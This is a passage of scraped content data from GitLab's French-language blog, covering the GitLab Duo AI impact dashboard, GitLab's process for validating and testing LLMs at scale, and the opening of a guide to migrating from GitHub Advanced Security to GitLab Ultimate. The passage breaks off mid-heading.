telles que le taux d'utilisation des suggestions de code, permettant de comprendre l'efficacité des investissements en IA.",[2859],"Haim Snir","2024-05-15","***L'IA générative marque une avancée majeure dans le domaine du développement logiciel, simplifiant le processus de développement, de sécurisation et d'exploitation des logiciels. Notre nouvelle série d'articles de blog, rédigée par nos équipes produit et ingénierie, vous propose un aperçu de notre processus de création, de test et de déploiement des fonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de l'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez comment elles aideront les équipes DevSecOps à livrer de meilleurs résultats aux clients.***\n\nÀ l'heure où les entreprises adoptent [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités d'IA visant à optimiser les workflows [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\"), les chefs d'entreprise et les responsable en ingénierie ont besoin d'une visibilité en temps réel sur le retour sur investissement de cette technologie. Les données d'utilisation granulaires, l'amélioration des performances, le compromis entre rapidité, sécurité et qualité, ainsi que d'autres [métriques de productivité](https://about.gitlab.com/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics/) sont essentiels pour évaluer l'efficacité de l'IA dans le développement de logiciels. C'est pour cette raison que nous avons créé le tableau de bord d'analyse d'impact de l'IA pour GitLab Duo. Disponible dans GitLab 17.0, cette fonctionnalité offre un nouveau moyen de mesurer le retour sur investissement de l'IA.\n\n> Découvrez l'avenir du développement logiciel piloté par l'IA lors de notre événement virtuel à l’occasion du lancement de GitLab 17. [Accédez au replay](https://about.gitlab.com/fr-fr/seventeen/ \"Replay du lancement de GitLab 17\") !\n\n## Comprendre le retour sur investissement des fonctionnalités de GitLab Duo alimentées par l'IA\n\nPour évaluer correctement l'impact de l'IA sur le cycle de vie du développement logiciel, les entreprises nous ont indiqué qu'elles souhaitaient :\n\n* Visualiser les indicateurs qui se sont améliorés grâce aux investissements dans l'IA,\n* Comparer les performances des équipes qui utilisent l'IA avec celles des équipes qui ne l’utilisent pas,\n* Suivre les progrès de l'adoption de l'IA,\n* Automatiser l'extraction d'informations à partir d'un grand volume de données de performance.\n\nLe tableau de bord d'analyse d'impact de l'IA regroupe ces fonctionnalités, et bien plus encore, avec une visualisation personnalisable, permettant aux équipes de :\n\n* **Surveiller l'adoption de l'IA :** observer les taux d'adoption de l'IA permet aux organisations d'évaluer les stratégies organisationnelles pour maximiser le retour sur investissement de leurs investissements technologiques. \n* **Suivre les améliorations en termes de performance :** en suivant les indicateurs de performance et en observant les modifications après l'adoption de l'IA, les dirigeants peuvent rapidement évaluer les avantages et la valeur commerciale des fonctionnalités d'IA.\n\n## Qu'est-ce que le tableau de bord d'analyse d'impact de l'IA ?\n\nDans cette première version du tableau de bord d'analyse d'impact de l'IA, nous nous concentrons sur la mise à disposition d'informations et de métriques sur l'adoption de la fonctionnalité de suggestions de code de GitLab Duo, notamment :\n\n* **Les métriques d'utilisation détaillées :** découvrez le ratio d'utilisation mensuelle de la fonctionnalité de suggestions de code par rapport au nombre total de contributeurs uniques au code pour savoir dans quelle mesure les suggestions de code sont adoptées au sein de vos équipes.\n* **L'étude de corrélation :** examinez comment les tendances de l'utilisation de l'IA au sein d'un projet ou d'un groupe influencent d'autres métriques de productivité essentielles, affichées pour le mois en cours et les six derniers mois. \n\n  * Pour cette analyse de corrélation, nous avons ajouté une nouvelle métrique : le « Taux d'utilisation des suggestions de code » comme variable indépendante (la cause). Le taux d'utilisation mensuel des suggestions de code représente le nombre d'utilisateurs mensuels uniques de la fonctionnalité de suggestions de code divisé par le nombre total de [contributeurs](https://docs.gitlab.com/ee/user/profile/contributions_calendar.html#user-contribution-events) uniques par mois. GitLab prend en compte le nombre total de contributeurs uniques au code par mois, ce qui signifie que seuls les utilisateurs dont les événements sont poussés sont inclus dans le calcul.\n  * Comme variables dépendantes (l'effet), nous avons ajouté les [indicateurs de performance](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports) suivants : la durée du cycle, le délai d'exécution et la fréquence de déploiement. Et comme [mesures de qualité et de sécurité](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports), nous avons ajouté le taux d'échec des modifications et les vulnérabilités critiques. \n* **Une vue comparative :**  comprenez la différence de performance des équipes qui utilisent ou non l'IA et gérez le compromis entre rapidité, qualité et exposition à la sécurité.\n\n![Comparaison de l'utilisation de l'IA et des performances SDLC](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098620998.png)\n\n## Quelles sont les prochaines étapes ?\n\nA l'avenir, nous souhaitons faire évoluer notre tableau de bord d’analyse d'impact de l’IA en ajoutant :\n\n1. De nouvelles vignettes telles que les « Sièges GitLab Duo : assignés et utilisés », les « Suggestions de code : taux d'acceptation % » et le « GitLab Duo Chat : utilisateurs uniques » pour obtenir un aperçu plus approfondi des modèles d'utilisation de GitLab Duo.\n\n![Tableau de bord d'analyse d'impact de l'IA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-07-17_at_12.50.31_aHR0cHM6_1750098620999.png)\n\n2. Un nouveau diagramme de comparaison pour aider les utilisateurs à observer la corrélation des changements d'une métrique avec les changements des autres :\n\n![Histogramme de comparaison de l'impact de l'IA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098621000.png)\n\n3. Des statistiques d'IA dans le [rapport d'analyse des contributions](https://docs.gitlab.com/ee/user/group/contribution_analytics/index.html) pour comprendre comment les utilisateurs interagissent avec les fonctionnalités d'IA. Découvrez quels utilisateurs tirent parti des fonctionnalités d'IA et si leurs performances ont évolué au fil du temps :\n\n![Rapport d'analyse des contributions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098621001.png)\n\n## Commencez dès aujourd'hui\n\nNous sommes très enthousiastes concernant le potentiel du tableau de bord d'analyse d'impact de l'IA. D'une part pour sa capacité à démontrer les résultats commerciaux réels de l'IA, mais aussi pour prendre des décisions plus éclairées concernant l'IA du futur dans le cadre de l'optimisation du cycle de vie DevSecOps. Pour plus d'informations sur la suite des événements et pour partager vos commentaires ou vos questions, [consultez notre epic dédié au tableau de bord d'analyse d'impact de l'IA](https://gitlab.com/groups/gitlab-org/-/epics/12978).\n\n[Essayez GitLab Duo gratuitement](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial \"Essayer gratuitement GitLab Duo\") dès aujourd'hui !\n\n## En savoir plus sur la série d’articles dédiée au « Développement de GitLab Duo »\n\n* [GitLab Duo : comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/ \"Développement de GitLab Duo : comment nous validons et testons les modèles d'IA à grande échelle\")\n* [GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/ \"Développement de GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact\")\n* [GitLab Duo : comment nous utilisons nos propres fonctionnalités d’IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/ \"Développement de GitLab Duo : comment nous utilisons nos propres fonctionnalités d’IA\")\n* [GitLab Duo : tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/ \"Développement de GitLab Duo : tester et sécuriser le code généré par l'IA\")\n\n*Avertissement : cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter que les informations contenues dans cet article de blog ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article sont susceptibles de changer ou d’être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab.*",[699,1174,675],{"slug":2864,"featured":92,"template":683},"developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai","content:fr-fr:blog:developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","Developing Gitlab Duo Ai Impact Analytics Dashboard Measures The Roi Of Ai","fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"_path":2870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2871,"content":2877,"config":2885,"_id":2887,"_type":16,"title":2888,"_source":17,"_file":2889,"_stem":2890,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"ogTitle":2872,"schema":2873,"ogImage":2874,"ogDescription":2875,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2876,"title":2872,"canonicalUrls":2876,"description":2875},"GitLab Duo : validation et tests des modèles d'IA","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : comment nous validons et testons les modèles d'IA à grande échelle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"}],\n        \"datePublished\": \"2024-05-09\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659856/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25.png","Découvrez comment nous évaluons les LLM, les adaptons à des cas d'utilisation et les affinons pour fournir de meilleures réponses aux utilisateurs. ","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"title":2878,"description":2879,"authors":2880,"heroImage":2874,"date":2881,"body":2882,"category":697,"tags":2883},"GitLab Duo : comment nous validons et testons les modèles d'IA à grande échelle","Notre série d’articles de blog débute avec un aperçu de la façon dont nous évaluons les grands modèles de langage (LLM), les adaptons à des cas d'utilisation et les affinons pour fournir de meilleures réponses aux utilisateurs.",[1621],"2024-05-09","***L'[IA générative](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA générative ?\") marque une avancée majeure dans le domaine du développement logiciel, simplifiant le processus de développement, de sécurisation et d'exploitation des logiciels. Notre nouvelle série d’articles de blog, rédigée par nos équipes produit et ingénierie, vous propose un aperçu de notre processus de création, de test et de déploiement des fonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de l'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez comment elles aideront les équipes [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps?\") à livrer de meilleurs résultats aux clients.***\n\nGitLab attache une grande importance à la confiance que nos clients nous accordent. Maintenir cette confiance implique une transparence dans la manière dont nous concevons, évaluons et garantissons la qualité des fonctionnalités d'IA de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"GitLab Duo\"). Les fonctionnalités de GitLab Duo reposent sur un ensemble diversifié de modèles, ce qui nous permet de prendre en charge une multitude de cas d'utilisation et apporte de la flexibilité à nos clients. GitLab n'est pas lié à un seul fournisseur de modèles. Nous utilisons actuellement les modèles de fondation de [Google](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/vertex_text.py?ref_type=heads#L86) et [Anthropic](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/anthropic.py?ref_type=heads#L62). Néanmoins, nous procédons continuellement à l'évaluation des modèles les plus adaptés aux cas d'utilisation de GitLab Duo. Dans cet article, nous vous présentons un aperçu de notre processus de validation des modèles d'IA.\n\n> [Essayez GitLab Duo gratuitement](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial \"Essai gratuit de GitLab Duo\") dès aujourd'hui !\n\n## Comprendre les grands modèles de langage (LLM)\n\nLes [grands modèles de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un grand modèle de langage ?\") sont des modèles d'IA générative qui alimentent de nombreuses fonctionnalités d'IA sur l'ensemble de la plateforme. Entraînés sur de vastes ensembles de données, les LLM prédisent le mot suivant dans une séquence en fonction du contexte précédent. Sur la base d'un prompt, ils génèrent un texte semblable à celui d’un être humain en échantillonnant à partir de la distribution de probabilité des mots conditionnée par le prompt.\n\nLes LLM permettent des suggestions de code intelligentes, des chatbots conversationnels, des explications de code, des analyses de vulnérabilités et bien plus encore. Leur capacité à produire des résultats variés pour un prompt donné rend difficile l'évaluation standardisée de la qualité. Les LLM peuvent être optimisés pour différentes caractéristiques. C'est la raison pour laquelle tant de modèles d'IA sont en cours de développement.\n\n## Tester à grande échelle\n\nContrairement aux systèmes logiciels traditionnels où les entrées et les sorties peuvent être plus facilement définies et testées, les LLM produisent des résultats souvent nuancés, diversifiés et dépendants du contexte. Tester ces modèles nécessite des stratégies complètes qui tiennent compte des interprétations subjectives et variables de la qualité, ainsi que de la nature stochastique de leurs résultats. Nous ne pouvons donc pas juger de la qualité du résultat d'un LLM de manière individuelle ou anecdotique ; nous devons plutôt être capables d'examiner le schéma global du comportement d'un LLM. Pour avoir une idée de ces schémas, nous devons réaliser des tests à grande échelle. Les tests à grande échelle font référence au processus d'évaluation des performances, de la fiabilité et de la robustesse d'un système ou d'une application sur un large éventail de données et de cas d'utilisation. Notre [Framework d'évaluation centralisé (CEF)](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/) utilise des milliers de prompts liés à des dizaines de cas d'utilisation pour nous permettre d'identifier des schémas significatifs et d'évaluer le comportement global de nos modèles LLM de fondation et des fonctionnalités GitLab Duo dans lesquelles ils sont intégrés.\n\nLes tests à grande échelle nous aident à :\n\n* **Garantir la qualité :** les tests à grande échelle nous permettent d'évaluer la qualité et la fiabilité de ces modèles sur un large éventail de scénarios et d’entrées. En validant les résultats de ces modèles à grande échelle, nous pouvons commencer à identifier des schémas et à atténuer les problèmes potentiels tels que les biais systématiques, les anomalies et les inexactitudes.\n* **Optimiser les performances :** la mise à l'échelle des efforts de test permet à GitLab d'évaluer les performances et l'efficacité des LLM dans des conditions réelles. Cela comprend l'évaluation de facteurs tels que la qualité du résultat, la latence et le coût pour optimiser le déploiement et l'exploitation de ces modèles dans les fonctionnalités de GitLab Duo.\n* **Atténuer les risques :** tester les LLM à grande échelle contribue à atténuer les risques associés à leur déploiement dans des applications critiques. En effectuant des tests approfondis sur divers ensembles de données et cas d'utilisation, nous pouvons identifier et résoudre les défaillances potentielles, les vulnérabilités de sécurité et les considérations éthiques avant qu'ils n'affectent nos clients.\n\nTester les LLM à grande échelle est impératif pour garantir leur fiabilité et leur robustesse en vue de leur déploiement au sein de la [plateforme DevSecOps de GitLab](https://about.gitlab.com/fr-fr/platform/ \"Plateforme DevSecOps de GitLab\"). En investissant dans des stratégies de test complètes qui englobent divers ensembles de données, cas d'utilisation et scénarios, GitLab s'efforce de libérer tout le potentiel des workflows alimentés par l'IA tout en atténuant les risques potentiels.\n\n### Comment nous testons à grande échelle\n\nVoici les étapes que nous suivons pour tester les LLM à grande échelle.\n\n#### Étape 1 : Créer une bibliothèque de prompts comme proxy pour la production\n\nAlors que d'autres entreprises consultent et utilisent les données clients pour entraîner leurs fonctionnalités d'IA, GitLab ne procède actuellement pas de la sorte. En conséquence, nous avons dû développer une bibliothèque de prompts complète qui sert de proxy à la fois pour la mise à l'échelle et pour l'activité de production.\n\nCette bibliothèque de prompts est composée de questions et de réponses. Les questions représentent les types de requêtes ou d'entrées que nous nous attendons à voir en production, tandis que les réponses représentent une vérité terrain de ce que serait notre réponse idéale. Cette réponse de référence pourrait également être considérée mentalement comme une réponse cible. La question tout comme la réponse peuvent être générées par des humains, mais ne le sont pas nécessairement. Ces paires de questions/réponses nous offrent une base de comparaison et un cadre de référence qui nous permettent de faire ressortir les différences entre les modèles et les fonctionnalités. Lorsque l'on pose la même question à plusieurs modèles et qu'ils génèrent des réponses différentes, nous pouvons utiliser notre réponse de référence pour déterminer quel modèle a fourni une réponse qui est le plus étroitement alignée avec notre cible et les noter en conséquence.\n\nUne fois de plus, il est essentiel qu'une bibliothèque de prompts complète soit représentative des entrées que nous prévoyons de rencontrer en production. Nous voulons savoir dans quelle mesure les modèles de fondation s'adaptent à notre cas d'utilisation spécifique et dans quelle mesure nos fonctionnalités sont performantes. Il existe de nombreux ensembles de données de prompts de référence, mais ceux-ci peuvent ne pas correspondre aux cas d'utilisation que nous envisageons pour les fonctionnalités chez GitLab. Notre bibliothèque de prompts, en revanche, est conçue pour être spécifique aux fonctionnalités et aux cas d'utilisation de GitLab.\n\n#### Étape 2 : Performance du modèle de référence\n\nUne fois que nous avons créé une bibliothèque de prompts qui reflète avec précision l'activité de production, nous intégrons ces questions dans [différents modèles](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/foundation_models/) pour tester dans quelle mesure ils répondent aux besoins de nos clients. Nous comparons chaque réponse à notre vérité terrain et lui attribuons un classement basé sur une série de métriques, incluant : le [score de similarité cosinus](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#similarity-scores), le [score de similarité croisée](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#cross-similarity-score), le [juge LLM](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#llm-judge) et le [filtrage de consensus avec un juge LLM](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#consensus-filtering-with-llm-judge). Cette première itération nous fournit une base de référence pour évaluer la performance de chaque modèle et guide notre sélection d'un modèle de fondation pour nos fonctionnalités. Par souci de brièveté, nous n'entrerons pas dans les détails ici, mais nous vous encourageons à en savoir plus sur ces métriques [en consultant notre page AI Evaluation Metrics](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/). Il est important de noter que ce n'est pas un problème résolu ; l'industrie de l'IA au sens large mène activement des recherches et développe de nouvelles techniques. L'équipe de validation des modèles de GitLab reste à l'affût des actualités de ce secteur et itère continuellement sur la façon dont nous mesurons et évaluons les LLM que GitLab Duo utilise.\n\n#### Étape 3 : Développer des fonctionnalités\n\nMaintenant que nous disposons d'une base de référence pour les performances du modèle que nous avons sélectionné, nous pouvons commencer à développer nos fonctionnalités en toute confiance. Bien que l'ingénierie des prompts suscite beaucoup d'enthousiasme, se concentrer uniquement sur le changement du comportement d'un modèle via le prompting (ou toute autre technique) sans validation signifie que vous opérez à l'aveugle et que vous surajustez très probablement vos prompts. Vous pourriez résoudre un problème, mais en causer une dizaine d'autres sans le savoir. La création d'une base de référence pour évaluer les performances d'un modèle nous permet de suivre l'évolution du comportement au fil du temps pour tous les cas d'utilisation dont nous avons besoin. Chez GitLab, nous revalidons quotidiennement les performances de nos fonctionnalités pendant le développement actif pour nous assurer que toutes les modifications améliorent la fonctionnalité globale.\n\n#### Étape 4 : Itérer encore et encore\n\nVoici comment fonctionnent nos itérations expérimentales. À chaque cycle, nous examinons les scores de nos tests à grande échelle pour identifier des schémas :\n\n* Quels sont les points communs entre les domaines les moins performants de notre fonctionnalité ?\n* Notre fonctionnalité se comporte-t-elle mal en fonction d'une métrique spécifique ou d'un cas d'utilisation particulier ?\n* Observons-nous des erreurs récurrentes qui apparaissent en réponse à un certain type de question ?\n\nLes schémas de ce type ne commencent à émerger que lorsque nous effectuons des tests à grande échelle, ce qui nous permet de cibler nos versions expérimentales. Sur la base de ces schémas, nous proposons une variété de fonctionnalités expérimentales ou d'approches pour essayer d'améliorer les performances dans un domaine spécifique et sur une métrique spécifique.\n\nCependant, les tests à grande échelle sont à la fois coûteux et chronophages. Pour permettre une itération plus rapide et moins coûteuse, nous concevons un ensemble de données à plus petite échelle qui agira comme un mini-proxy. Le sous-ensemble ciblé sera pondéré pour inclure les paires de questions/réponses que nous souhaitons améliorer, et le sous-ensemble plus large comprendra également un échantillonnage de tous les autres cas d'utilisation et scores pour nous assurer que nos modifications n'affectent pas négativement la fonctionnalité de manière générale. Le but sera d'effectuer la modification et de l'exécuter sur le sous-ensemble de données ciblé et d'observer comment la nouvelle réponse se compare à la base de référence et comment elle se compare à la vérité terrain.\n\nUne fois que nous avons trouvé un prompt qui répond au cas d'utilisation spécifique sur lequel nous travaillons avec le sous-ensemble ciblé, nous validons ce prompt par rapport à un sous-ensemble de données plus large afin de nous assurer qu'il n'affecte pas négativement d'autres aspects de la fonctionnalité. Ce n'est que lorsque nous pensons que le nouveau prompt améliore nos performances dans notre domaine cible grâce aux métriques de validation ET qu'il ne dégrade pas les performances ailleurs, que nous poussons cette modification en production.\n\nL'ensemble du framework d'évaluation centralisé est ensuite exécuté avec le nouveau prompt et nous validons qu'il a augmenté les performances de l'ensemble de la fonctionnalité par rapport à la base de référence de la veille. C'est ainsi que GitLab itère constamment afin de s'assurer que vous tirez parti des meilleures et des plus récentes performances des fonctionnalités alimentées par l'IA dans l'écosystème GitLab. Cette approche nous permet de nous assurer que nous continuons à travailler plus rapidement, ensemble.\n\n### Rendre GitLab Duo encore meilleur\n\nNous espérons que cet article vous donnera un aperçu de la façon dont nous développons de manière responsable les fonctionnalités de GitLab Duo. Ce processus a été développé alors que nous avons mis les [suggestions de code GitLab Duo](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/) et le [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) en phase de disponibilité générale. Nous avons également intégré ce processus de validation dans notre processus de développement lorsque nous itérons sur les fonctionnalités de GitLab Duo. Il faut beaucoup de tâtonnements, et il arrive souvent qu'en corrigeant un élément, on en détériore trois autres. Mais nous disposons d’informations basées sur les données concernant ces impacts, ce qui nous aide à nous assurer que GitLab Duo s'améliore constamment.\n\n> [Essayez GitLab Duo gratuitement](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial \"Essai gratuit de GitLab Duo\") dès aujourd'hui !\n\n\u003Cfigure class=video_container>\n\u003Ciframe width=560 height=315 src=\"https://www.youtube-nocookie.com/embed/LifJdU3Qagw?si=A4kl6d32wPYC4168\" title=\"YouTube video player\" frameborder=0 allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\">\u003C/iframe>\n\u003C/figure>",[699,784,1067,675,2884],"inside GitLab",{"slug":2886,"featured":92,"template":683},"developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale","content:fr-fr:blog:developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","Developing Gitlab Duo How We Validate And Test Ai Models At Scale","fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"_path":2892,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2893,"content":2898,"config":2904,"_id":2906,"_type":16,"title":2907,"_source":17,"_file":2908,"_stem":2909,"_extension":20},"/fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"title":2894,"description":2895,"ogTitle":2894,"ogDescription":2895,"noIndex":6,"ogImage":839,"ogUrl":2896,"ogSiteName":841,"ogType":842,"canonicalUrls":2896,"schema":2897},"Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet","Découvrez les similitudes et les différences entre GitLab Ultimate et GitHub Advanced Security, puis suivez notre tutoriel détaillé pour migrer vers GitLab.","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-05-01\",\n      }",{"title":2894,"description":2895,"authors":2899,"heroImage":839,"date":2900,"body":2901,"category":673,"tags":2902,"updatedDate":1646},[1316],"2024-05-01","GitLab est la plateforme DevSecOps alimentée par l'IA la plus complète, qui permet de livrer rapidement des logiciels plus sécurisés depuis une seule et même plateforme pour l'ensemble de votre cycle de développement logiciel. De son côté, GitHub fournit un module d'extension appelé Advanced Security, qui, comme son nom l'indique, active des fonctionnalités de sécurité supplémentaires dans GitHub, mais ne dispose pas de la profondeur et de l'étendue des fonctionnalités de sécurité fournies nativement par GitLab. \n\nSi vous souhaitez passer à GitLab Ultimate pour améliorer votre sécurité dans tous les domaines du SDLC, utilisez ce guide pour comparer les deux offres et effectuer votre migration.\n\n## Comparaison entre GitLab Ultimate et GitHub Advanced Security\n\n[GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/) est le niveau d'abonnement de GitLab dédié aux entreprises qui cherchent à livrer des logiciels sécurisés plus rapidement. GitHub Advanced Security est un module d'extension de GitHub Enterprise, qui active des fonctionnalités de sécurité supplémentaires.\n\n### Quelles sont les similitudes entre GitLab Ultimate et GitHub Advanced Security ?\n\nGitLab Ultimate et GitHub Advanced Security fournissent tous deux :\n- des tests statiques de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), une analyse des secrets et une analyse des dépendances\n- une veille contextualisée recensant les vulnérabilités et des conseils pour y remédier\n- une liste des dépendances ou des nomenclatures logicielles ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"SBOM\"))\n- des métriques et des informations clés sur la sécurité\n\n### Quelles sont les différences entre GitLab Ultimate et GitHub Advanced Security ? \n\nGitLab Ultimate diffère de GitHub Advanced Security de la manière suivante :\n\n- GitLab fournit nativement des scanners de code de sécurité supplémentaires tels que l'analyse des conteneurs, les tests dynamiques de sécurité des applications ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), les tests d’API Web par injection de données aléatoires, et plus encore. Ces scanners sont un mélange de technologies propriétaires et open source optimisées avec des ensembles de règles personnalisés. Pour une liste complète, consultez notre [documentation pour sécuriser votre application avec GitLab](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html).\n- GitLab fournit des [garde-fous de sécurité granulaires](https://docs.gitlab.com/ee/user/application_security/policies/) pour empêcher que du code non sécurisé soit fusionné sans approbation.\n- Les scanners de sécurité de GitLab peuvent être exécutés dans des [environnements isolés ou à connectivité limitée](https://docs.gitlab.com/ee/user/application_security/offline_deployments/).\n- GitLab fournit un [Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/) qui permet de surveiller les violations des exigences de conformité dans l'ensemble de l'entreprise.\n\nGitLab Ultimate fournit également des fonctionnalités supplémentaires en matière de sécurité et de conformité, de gestion de portefeuilles et de la chaîne de valeur, d'assistance à la mise à niveau en direct et bien plus encore. Consultez notre [documentation GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/) pour en savoir plus sur ces fonctionnalités supplémentaires.\n\n## Comment migrer un dépôt GitHub vers GitLab ?\n\nGitLab fournit un outil d'importation intégré qui vous permet d'importer vos projets GitHub depuis GitHub.com ou GitHub Enterprise vers GitLab. Cet outil vous permet de migrer non seulement le dépôt GitHub vers GitLab, mais également plusieurs autres éléments, notamment des tickets, des collaborateurs (membres) et des pull requests. Pour obtenir la liste complète de ce qui peut être migré, consultez notre [documentation](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). \n\nVous pouvez effectuer votre migration de GitHub vers GitLab en suivant les étapes ci-dessous :\n1. Dans la barre latérale gauche, en haut, sélectionnez **Créer un nouveau (+)**.\n2. Sélectionnez **Nouveau projet/dépôt**.\n3. Sélectionnez **Importer un projet**.\n\n![Sélection Importer un projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n4. Cliquez sur le bouton **GitHub**.\n - Si vous utilisez GitLab Self-Managed, vous devez [activer l'outil d'importation GitHub](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n - Notez que d'autres outils d'importation peuvent être lancés de la même manière.\n5. Maintenant, vous pouvez effectuer l'une des actions suivantes :\n    - Autoriser OAuth de GitHub en sélectionnant **Autoriser avec GitHub**.\n    - Utiliser un jeton d'accès personnel GitHub :\n       - Rendez-vous sur [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - Dans le champ **Note**, saisissez une description du token.\n       - Sélectionnez la portée du **dépôt**.\n       - En option, pour importer des collaborateurs, sélectionnez la portée **read:org**.\n       - Cliquez sur le bouton **Générer un token**.\n       - Sur la page d'importation de GitLab, dans le champ **Jeton d'accès personnel**, collez le jeton d'accès personnel GitHub.\n6. Cliquez sur le bouton **Authentification**.\n7. Sélectionnez les éléments que vous souhaitez migrer.\n8. Sélectionnez les projets que vous souhaitez migrer et leur destination.\n9. Cliquez sur le bouton **Importer**.\n\nVotre projet importé devrait maintenant s'afficher dans votre espace de travail. Pour en savoir plus sur la migration de GitHub vers GitLab, regardez cette vidéo :\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nVous pouvez également effectuer votre migration à l'aide d'un [jeton d'accès personnel GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) ou de l'[API REST GitLab](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api). L'outil d'importation permet également d'importer à partir d'autres sources telles que Bitbucket ou Gitea. Pour en savoir plus, consultez notre [documentation](https://docs.gitlab.com/ee/user/project/import/).\n\n## Comment 